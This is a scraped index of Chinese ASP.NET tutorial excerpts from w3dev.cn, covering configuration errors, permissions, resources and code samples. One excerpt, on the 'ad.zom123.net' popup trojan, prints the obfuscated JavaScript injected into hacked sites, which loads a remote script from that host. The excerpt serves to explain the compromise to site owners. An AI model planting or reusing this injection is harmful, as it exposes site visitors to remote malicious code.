.NET Globalization Resources使用说明

ream(object_name)这个函数拿到对应的资源并以stream的方式返回,然后我们可以将这个stream转成在.NET中可用的对象。比如,如果嵌入资源是一图片,那么我们可以利用New Bitmap(Stream)的constructor获得这个图片资源的Bitmap对象。 第二部分 创建资源文件 创建资源文件有两种方式,一种是使用.NET SDK自带的resgen工具来创建,另外一种是自己写code来创建。分别来介绍: 1. Resgen: 这个工具是.NET自带的,它可以把.txt,.resX,转换为.resources文件。.resources文件是以一种以键-值方式对应存储
http://www.w3dev.cn/article/20120225/net-globalization-resources-introduction.aspx

asp.net实现文件压缩解压缩

.Win32;usingSystem.Diagnostics;publicpartialclass_Default:System.Web.UI.Page{protectedvoidPage_Load(objectsender,EventArgse){//清清月儿http://blog.csdn.net/21aspnet/}protectedvoidButton1_Click(objectsender,EventArgse){//压缩Stringthe_rar;RegistryKeythe_Reg;Objectthe_Obj;Stringthe_Info;ProcessStartInfothe
http://www.w3dev.cn/article/20120225/asp-net-file-compression-decompression.aspx

asp.net生成pdf文件

dll和ICSharpCode.SharpZipLib.dllhttp://sourceforge.net/project/showfiles.php?group_id=72954iTextSharp.tutorial.01.zip 示例文件 提供了各种解决方案本文由于时间问题仅做抛砖引玉,希望大家自己研究其他需求itextsharp.dll itextsharp-4.0.3-dll.zip ICSharpCode.SharpZipLib.dll http://download.csdn.net/down/135897 ICSharpCode.SharpZipLib.dll SharpZipL
http://www.w3dev.cn/article/20120225/asp-net-create-pdf-file.aspx

IIS7设置身份模拟(ASP.NET impersonation)

说 Asp.net 没有用我设置的这个 MyAccount 帐号模拟运行,而是仍然用IUSR 帐号模拟运行。查了好久,才发现是下面问题造成:用 Virtual Studio 2008 生成网站时,web.config 文件中默认会有这样一个设置:identity impersonate="true" /  这个设置是为 IIS 6 做身份模拟而设置的。在这种情况下,用户身份的认证交给IIS来进行。当允许匿名登录时,IIS将一个匿名登录使用的标识(缺省情况下是IUSR)交给ASP.NET应用程序。当不允许匿名登录时,IIS将认证过的身份标识传递给ASP.NET应用程序。ASP.NET的具体访问权
http://www.w3dev.cn/article/20120224/iis7-ASP-NET-impersonation.aspx

asp.net操作EXCEL提示没有权限

问题描述:asp.net操作EXCEL组件时提示没有权限解决办法:确保你有足够的权限,开始-运行:dcomcnfg,在应用程序列表框中选择“Microsoft Excel 应用程序”-“安全性”-选择“使用自定义访问权限”,点击“编辑”按钮,添加本地“ASPNET”用户,权限为“允许访问。来源:http://blog.csdn.net/littlehb/article/details/150653
http://www.w3dev.cn/article/20120223/3559.aspx

App_Offline.htm在asp.net站点中作用

tylediv{background-color:#ffffcc;padding-top:10px;padding-bottom:10px;padding-left:10px;padding-right:10px;border-style:solid;border-color:Black;border-width:1px;}/stylebodydivh121世纪开运网www.21kaiyun.com站点更新中站点更新中/h1p站点更新中,请稍后访问。/p/div/body/html来源:http://blog.csdn.net/21aspnet/article/details/5770566
http://www.w3dev.cn/article/20120219/app-offline-effect-in-asp-net-website.aspx

asp.net程序性能优化

用VB.net和Jscript动态数据类型 应当始终显示地申明变量数据类型,这能够节约程序的执行时间。以往,开发人员喜欢使用 Visual Basic、VBScript 和 JScript 的原因之一就是它们所谓"无类型"的性质。变量不需要显式类型声明,并能够简单地通过使用来创建它们。当从一个类型到另一个类型进行分配时,转换将自动执行。不过,这种便利会大大损害应用程序的性能。 如: 为了获得最佳的性能,当声明 JScript .NET 变量时,请为其分配一个类型。例如,var A : String; 四、使用缓存 1、使用Output Cache缓存数据 提供缓存功能是ASP.net中非常强
http://www.w3dev.cn/article/20120212/asp-net-optimization.aspx

asp.net web.config配置redirectMode="ResponseRewrite"不起作用

,并且不更改浏览器中的原始 URL。  当设置redirectmode为responserewrite时,如果未安装.net framework3.5,会显示asp.net默认的编译错误,并没有执行定义的错误页面。edirectMode指定为ResponseRedirect时会执行指定的错误页面,但是会附带aspxerrorpat参数。  所以要配置web.config的customErrors节点的属性RedirectMode为ResponseRedirect并且起作用,需要安装.net framework3.5。  相关文章去掉隐藏asp.net编译出错aspxerrorpath错误参数
http://www.w3dev.cn/article/20120207/web-config-redirectmode-responserewrite-does-not-work.aspx

asp.net防止图片盗链源代码

  asp.net防止图片盗链有以下几种方法。  1.所有的image url都跟上密文.比如你在绑定页面image url时可以这么做.以下是MVC示例.其他的差不多.  ImageController+展开-C#  stringpath="/Content/";  stringimgName="girl.jpg";  longticks=DateTime.Now.Ticks;  //使用当前时间刻度作为待加密对象  stringencryptKey=ticks.ToString();  //使用自定义对称算法加密  byte[]data=SymmetricEncryptionUtilit
http://www.w3dev.cn/article/20120101/asp-net-forbid-image-External-reference.aspx

ASP.NET环境配置常见错误

Microsoft .NET Framework 版本:2.0.50727.1433; ASP.NET 版本:2.0.50727.1433  **************************  *2: 解决办法 *  **************************  找到当前.Net文件夹, 修改Temporary ASP.NET Files 属性--安全 --增加NETWORK SERVICE用户 并设置可写入权限  例如:在 C:\WINDOWS\Microsoft.NET\Framework\v2.0.50727\  修改Temporary ASP.NET Files 属性--
http://www.w3dev.cn/article/20120101/asp-net-Common-configuration-error.aspx

asp.net<%--注释--%>和HTML区别

  使用ASP.NET编辑页面时,有两种注释方式:一是使用!-- --,二是使用%-- --%,前一种方式是标准的HTML注释,在HTML文件中也可以使用,后一种是ASP.NET特有的注释,只有在ASPX文件中可以使用。那么这两种注释有什么区别呢?区别就是它们是否显示在页面最终生成的HTML文件中。现在做一个试验,做一个test.aspx文件,页面代码如下。+展开-HTML  html  body  formid="form1"runat="server"  注释测试  !--htmlcomment会包含在最终生成的html文件中--  %--aspxcomment不会包含在最终生成的htm
http://www.w3dev.cn/article/20120101/asp-net-note-html-note-difference.aspx

ad.zom123.net弹窗木马

  最近看到朋友的网站第一次访问的时候会转向到ad.zom123.net这个网址,然后弹窗窗口,还以为我电脑中病毒了,后面在网上查找好像有很多都有ad.zom123.net这个问题。  出现这个问题就是基本是你的站被黑了,一些公用js文件被插入了下面的JavaScript代码+展开-JavaScriptdocument.write('sc'+'riptsrc="\/sc'+'ript'"http://%61d'+'.%7ao'+'m1'+'2%33'+'.ne'+'t/ip'+'.asp?'+'c=tianjin|vietnam"\/sc'+'ript');  这个广告代码是动态插入的,直接
http://www.w3dev.cn/article/20111220/ad-zom123-net-pop-virus.aspx

asp.net无法识别的属性redirectMode

“/”应用程序中的服务器错误。--------------------------------------------------------------------------------配置错误 说明: 在处理向该请求提供服务所需的配置文件时出错。请检查下面的特定错误详细信息并适当地修改配置文件。 分析器错误消息: 无法识别的属性“redirectMode”。请注意属性名称区分大小写。asp.net陈旭编译的时候出现这个错误。这个是因为使用的framework不是3.5版本的问题,redirectMode属性在.net 3.5里才有,2.0, 3.0的话要打SP2补丁。
http://www.w3dev.cn/article/20111025/asp-net-do-not-know-attribute-redirectmode.aspx

C#使用HttpWebRequest提交ASP.NET表单并保持Session和Cookie

一个跳转页面,几秒钟后会自动跳转到 Default.aspx 页面。3)Default.aspx 页面Default.aspx 页面是主界面,打开主界面时会判断 LoginSession 和 LoginCookie 的值是否正确,并把 Session 和 Cookie 的值显示出来。提交ASP.NET表单(即完成自动登录)的代码如下:+展开-C#try{CookieContainercookieContainer=newCookieContainer();/////////////////////////////////////////////////////1.打开MyLogin.aspx
http://www.w3dev.cn/article/20111017/cshar-httpwebrequest-post-form-save-session.aspx

asp.net runat server属性编译错误

  asp.net中的runat属性一定要注意放置的位置,要不会导致编译器编译出错。runat和server 这2个单词不能同时放在尖括号后面,要不编译器会编译出错。如,!--runat server-- ,虽然是注释的意思,但是会编译出错,提示服务器标记不正确!“/”应用程序中的服务器错误。 分析器错误 说明: 在分析向此请求提供服务所需资源时出错。请检查下列特定分析错误详细信息并适当地修改源文件。 分析器错误消息: 服务器标记的格式不正确。  asp.net的ruant 和server和Jav
http://www.w3dev.cn/article/20110929/asp-net-runat-server-attribute-error.aspx

ASP.NET的assembly:WebResource资源管理使用

  ASP.NET(1.0/1.1)给我们提供了一个开发WebControl的编程模型,于是我们摆脱了asp里面的include模式的复用方式。不过 1.0/1.1提供的Web控件开发模型对于处理没有image、css等外部资源的组件还算比较得心应手,script虽然很多时候也是外部资源,但在开发控件的时候我们习惯把script使用Page.Register...Script()来嵌入模块,因为紧凑的东西更便于我们复用,用一个dll就可以解决问题又何必要节外生枝呢。  ASP.NET 2.0提供的Web Resources管理模型,很好的解决了image、css、script等外部资源的管理问
http://www.w3dev.cn/article/20110915/asp-net-assembly-WebResource.aspx

去掉隐藏asp.net编译出错aspxerrorpath错误参数

户重定向到该错误页面,并且原始 URL 更改为该错误页面的 URL,并附带aspxerrorpath参数,参数值为发生错误的动态页的路径。  2)RedirectMode 属性设置为 ResponseRewrite,则将用户定向到错误页面,并且不更改浏览器中的原始 URL。  所以要删除asp.net编译出错时附带的aspxerrorpath参数,需要设置RedirectMode为ResponseRewrite+展开-XMLcustomErrorsdefaultRedirect="404.aspx"mode="On"redirectMode="ResponseRewrite"errorsta
http://www.w3dev.cn/article/20110812/remove-aspxerrorpath-error-paramter.aspx

asp.net中创建自定义的错误处理页面

概要本文介绍如何在 ASP.NET 中发生错误时使用 Visual C# .NET 代码捕获和响应错误。ASP.NET 改进了传统的 Microsoft Active Server Page (ASP) 中的错误处理选项。在 ASP.NET 中,您可在应用程序中处理若干不同级别的错误。 ASP.NET 中的新功能ASP.NET 在处理和响应错误的方式上进行了若干改进。在传统的 ASP 中,是用"On Error Resume Next"(或在 Jscript 中用 try-catch 块)处理错误的。或者,如果您运行的是 Microsoft Internet Information Ser
http://www.w3dev.cn/article/20110812/asp-net-self-define-error-handler.aspx

3种ASP.NET AJAX Tookit TabContainer控件常见错误及解决方法

1. 出错信息:TabContainer1 发生了未处理的异常 A ScripManager is required on the page to use ASP.NET AJAX ScriptComponents解决办法: 安装ASPAJAXExtSetup.msi, 重启VS,从工具箱AJAX Extension 中把ScriptManager 控件拖到form下面 2. Sys is not defined 解决办法: 在web.config 中加入以下节点+展开-XMLhttpHandlersaddverb="GET"path="
http://www.w3dev.cn/article/20110808/AJAX-Tookit-TabContainer-error-solutions.aspx

JavaScript本地存储(DOM Storage,Local Storage)

/DOM/Storagehttp://msdn.microsoft.com/zh-cn/library/cc197062%28v=vs.85%29.aspxhttp://msdn.microsoft.com/en-us/library/ms531424%28v=vs.85%29.aspx-1. 修正代码中一处笔误,window.localStroage订正为window.localStorage2. IE8和IE9下无法触发onstorage事件,FireFox下需对window对象绑定storage事件,可触发。  设计制作:DK 转载请注明出处:http://www.dklogs.net
http://www.w3dev.cn/article/20110807/javascript-DOM-Storage-Local-Storage.aspx

asp.net从视频文件生成图像文件

演示的vista下的app那绚的3d效果.要想在.net中使用DirectShow,所做的第一件事情是需要一个程序集,这个程序集可以帮你完成.net对directshow的调用,而且您不需要用com,省却注册过程,这个assembly的名字为:Interop.DexterLib.dll, 它象其他dll,只需添加引用即可。利用这个dll,封装了一个类,利用这个类您就可以方便的生成video的缩略图了,而且适用于winform,也适用于 asp.net,酷吧!效果如下:winform:asp.net:源码在这,用兴趣的,下过去看看吧asp.net从视频文件生成图像文件源代码下载参考文章:http
http://www.w3dev.cn/article/20110725/asp-net-video-view-image.aspx

ajax对象常用属性,事件,方法大小写问题

er方法,要不会出错。  对于手写ajax代码一些建议1)为get提交时,不需要设置content-type了,除非请求的是一些需要检查content-type生成一些对应的数据格式的文件。如asp.net的webservice会检查content-type,如果指定content-type为application/json,会生成对应的json格式的字符串。参考 webservice json 2)为get提交时,如果没有数据,调用send方法时最好添加一个null作为参数。xhr.send(null);3)为post提交时,一定不要忘记在调用open方法后,再调用setRequestH
http://www.w3dev.cn/article/20110427/ajax-object-attribute-case-issues.aspx

C#源代码-查询alexa全球,中国排名,google pr,google收录和百度收录及快照

le收录,百度收录和百度快照源代码下载:ASP.NET百度权重,alexa排名,google page rank, google收录,百度收录和百度快照查询源代码源代码如下using System;using System.Text;using System.Net;using System.IO;using System.Text.RegularExpressions;namespace BLL{ /// summary /// 下载信息url的html内容的类 /// /summary public class Net { /// summary
http://www.w3dev.cn/article/20110328/charp-source-code-alexa-google-baidu.aspx

Asp.Net图片base64编码相互转换

条而已。如果要想使用ajax来无刷新获取图片信息,并且更新img标签,就需要动态页将图片编码为base64返回,然后ajax获取返回的信息设置img的src为data:images/gif;base64,base64数据即可。  下面为asp.net-C#图片-base64编码互转源代码+展开-C#//代码来源于:http://blog.csdn.net/marquess/archive/2008/07/29/2732629.aspx//图片转为base64编码的字符串protectedstringImgToBase64String(stringImagefilename){try{Bitma
http://www.w3dev.cn/article/20110214/asp-net-csharp-image-base64-change.aspx

Asp.Net--C#字符串类型只执行一次替换

Expression的副本。如果Expression长度为零或为Nothing,或者Start大于Expression,的长度,则Replace返回Nothing.。如果Count为0,则Replace返回Expression.的副本。  没学过vb.net,不知道字符串的replace方法是否参数同上面的,有多种重载版本。  要想asp.net--C#执行一次替换,可以使用这则表达式来实现,正则的Replace有6中重载版本,可以指定替换次数了开始位置。比较 类型在构造正则表单时时指定,不在Replace方法中指定。Regex构造函数Regex(string pattern)Regex(st
http://www.w3dev.cn/article/20110211/csharp-asp-net-string-replace-only-once.aspx

非重新命名--解决fckeditor编辑器Asp.NET上传文件中文文件名出现乱码问题

ml文件,将页面编码从utf-8转为gb2312。+展开-HTML!--metahttp-equiv="Content-Type"content="text/html;charset=utf-8"/--metahttp-equiv="Content-Type"content="text/html;charset=gb2312"/2)用记事本另存为功能,检查下fck_image.html文件的存储编码是否为ANSI,如果不是,还得修改fck_image.html文件的存储编码,从utf-8转为ANSI。  通过修改,asp.net--fckeditor上传中文文件名称的文件时就不会出现乱码了。
http://www.w3dev.cn/article/20110128/not-rename-fckedotor-upload-cn-garbled.aspx